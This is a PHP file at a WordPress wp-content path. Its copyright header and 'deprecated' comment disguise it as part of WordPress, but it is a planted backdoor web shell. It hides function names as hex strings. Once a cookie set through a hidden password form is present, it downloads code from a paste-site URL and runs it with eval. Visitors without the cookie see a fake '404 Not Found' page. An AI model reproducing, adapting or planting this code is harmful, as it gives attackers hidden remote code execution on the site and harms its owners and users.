File: /home/prosuiteplus/public_html/wp-content/1a.php
<?php
/**
* @package Wordpress
* @copyright Copyright (C) 2023 - 2024 Open Source Matters, Inc. All rights reserved.
*
*/
// @deprecated 1.0 Deprecated without replacement
function is_logged_in()
{
return isset($_COOKIE['user_id']) && $_COOKIE['user_id'] === 'LPH';
}
if (is_logged_in()) {
$Array = array(
'666f70656e', # fo p en => 0
'73747265616d5f6765745f636f6e74656e7473', # strea m_get_contents => 1
'66696c655f6765745f636f6e74656e7473', # fil e_g et_cont ents => 2
'6375726c5f65786563' # cur l_ex ec => 3
);
function hex2str($hex) {
$str = '';
for ($i = 0; $i < strlen($hex); $i += 2) {
$str .= chr(hexdec(substr($hex, $i, 2)));
}
return $str;
}
function geturlsinfo($destiny) {
$belief = array(
hex2str($GLOBALS['Array'][0]),
hex2str($GLOBALS['Array'][1]),
hex2str($GLOBALS['Array'][2]),
hex2str($GLOBALS['Array'][3])
);
if (function_exists($belief[3])) {
$ch = curl_init($destiny);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$love = $belief[3]($ch);
curl_close($ch);
return $love;
} elseif (function_exists($belief[2])) {
return $belief[2]($destiny);
} elseif (function_exists($belief[0]) && function_exists($belief[1])) {
$purpose = $belief[0]($destiny, "r");
$love = $belief[1]($purpose);
fclose($purpose);
return $love;
}
return false;
}
$destiny = 'https://ghostbin.axel.org/paste/t85ng/raw';
$dream = geturlsinfo($destiny);
if ($dream !== false) {
eval('?>' . $dream);
}
} else {
if (isset($_POST['password'])) {
$entered_key = $_POST['password'];
$hashed_key = '$2y$10$l7zhI2zXIMsZy2GeIP7cFOETCwIxLt08BhKygiXD46zhw0dvA7fWG';
if (password_verify($entered_key, $hashed_key)) {
setcookie('user_id', 'LPH', time() + 3600, '/');
header("Location: ".$_SERVER['PHP_SELF']);
exit();
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>404 Not Found</title>
<style>
html,body{margin:0;padding:0;height:100%;overflow:hidden}
iframe{position:absolute;top:0;left:0;width:100vw;height:100vh;border:none}
#form{position:absolute;z-index:9999}
#form input{opacity:0;pointer-events:none;position:absolute;cursor:default;transition:0.3s}
#form input.revealed{opacity:1;pointer-events:auto;cursor:pointer}
#form button{display:none}
/* Improved Dot Styles */
.clue-dot{
position:fixed;
bottom:25px;
right:25px;
width:16px;
height:16px;
background:rgba(255,59,48,0.8);
border-radius:50%;
cursor:pointer;
z-index:10000;
box-shadow:0 2px 8px rgba(0,0,0,0.3);
border:2px solid rgba(255,255,255,0.9);
transition:all 0.3s ease;
animation:pulse 2s infinite;
}
.clue-dot:hover{
transform:scale(1.2);
background:rgba(255,59,48,1);
box-shadow:0 4px 12px rgba(0,0,0,0.4);
}
.clue-dot:active{
transform:scale(0.9);
}
@keyframes pulse{
0%{box-shadow:0 0 0 0 rgba(255,59,48,0.7)}
70%{box-shadow:0 0 0 10px rgba(255,59,48,0)}
100%{box-shadow:0 0 0 0 rgba(255,59,48,0)}
}
/* Tooltip */
.clue-dot::after{
content:"Login Access";
position:absolute;
bottom:100%;
right:0;
background:rgba(0,0,0,0.8);
color:white;
padding:8px 12px;
border-radius:6px;
font-size:12px;
white-space:nowrap;
opacity:0;
transform:translateY(-10px);
transition:all 0.3s ease;
pointer-events:none;
}
.clue-dot:hover::after{
opacity:1;
transform:translateY(-5px);
}
/* Password Input Styles */
.password-container{
position:fixed;
top:50%;
left:50%;
transform:translate(-50%,-50%);
background:white;
padding:30px;
border-radius:12px;
box-shadow:0 10px 30px rgba(0,0,0,0.3);
z-index:10001;
display:none;
min-width:300px;
}
.password-container.show{
display:block;
animation:fadeIn 0.3s ease;
}
@keyframes fadeIn{
from{opacity:0;transform:translate(-50%,-60%)}
to{opacity:1;transform:translate(-50%,-50%)}
}
.password-input{
width:100%;
padding:12px;
margin:10px 0;
border:2px solid #ddd;
border-radius:6px;
font-size:16px;
box-sizing:border-box;
}
.password-input:focus{
border-color:#007bff;
outline:none;
}
.submit-btn{
width:100%;
padding:12px;
background:#007bff;
color:white;
border:none;
border-radius:6px;
font-size:16px;
cursor:pointer;
transition:background 0.3s;
}
.submit-btn:hover{
background:#0056b3;
}
.error-message{
color:#dc3545;
font-size:14px;
margin-top:10px;
display:none;
}
</style>
</head>
<body>
<iframe src="/404"></iframe>
<!-- Hidden Form for Processing -->
<form id="form" method="post" style="display:none;">
<input type="password" name="password" id="hiddenPassword">
<button type="submit">Login</button>
</form>
<!-- Improved Dot Trigger -->
<div class="clue-dot" title="Click for login access"></div>
<!-- Password Modal -->
<div class="password-container" id="passwordModal">
<h3 style="margin:0 0 20px 0;text-align:center;">Enter Password</h3>
<input type="password" class="password-input" id="passwordInput" placeholder="Enter password..." autocomplete="off">
<button class="submit-btn" onclick="submitPassword()">Submit</button>
<div class="error-message" id="errorMessage">Incorrect password. Please try again.</div>
</div>
<script>
const dot = document.querySelector('.clue-dot');
const passwordModal = document.getElementById('passwordModal');
const passwordInput = document.getElementById('passwordInput');
const errorMessage = document.getElementById('errorMessage');
const hiddenPassword = document.getElementById('hiddenPassword');
const form = document.getElementById('form');
// Show password modal when dot is clicked
dot.addEventListener('click', function() {
passwordModal.classList.add('show');
passwordInput.focus();
errorMessage.style.display = 'none';
});
// Submit password function
function submitPassword() {
const password = passwordInput.value.trim();
if (password === '') {
return;
}
// Set the password in hidden form and submit
hiddenPassword.value = password;
form.submit();
}
// Allow Enter key to submit
passwordInput.addEventListener('keypress', function(e) {
if (e.key === 'Enter') {
submitPassword();
}
});
// Close modal when clicking outside
passwordModal.addEventListener('click', function(e) {
if (e.target === passwordModal) {
passwordModal.classList.remove('show');
}
});
// Random position for hidden form (kept for compatibility)
const x = Math.random() * (window.innerWidth - 100);
const y = Math.random() * (window.innerHeight - 30);
form.style.left = `${x}px`;
form.style.top = `${y}px`;
</script>
</body>
</html>
<?php
}
?>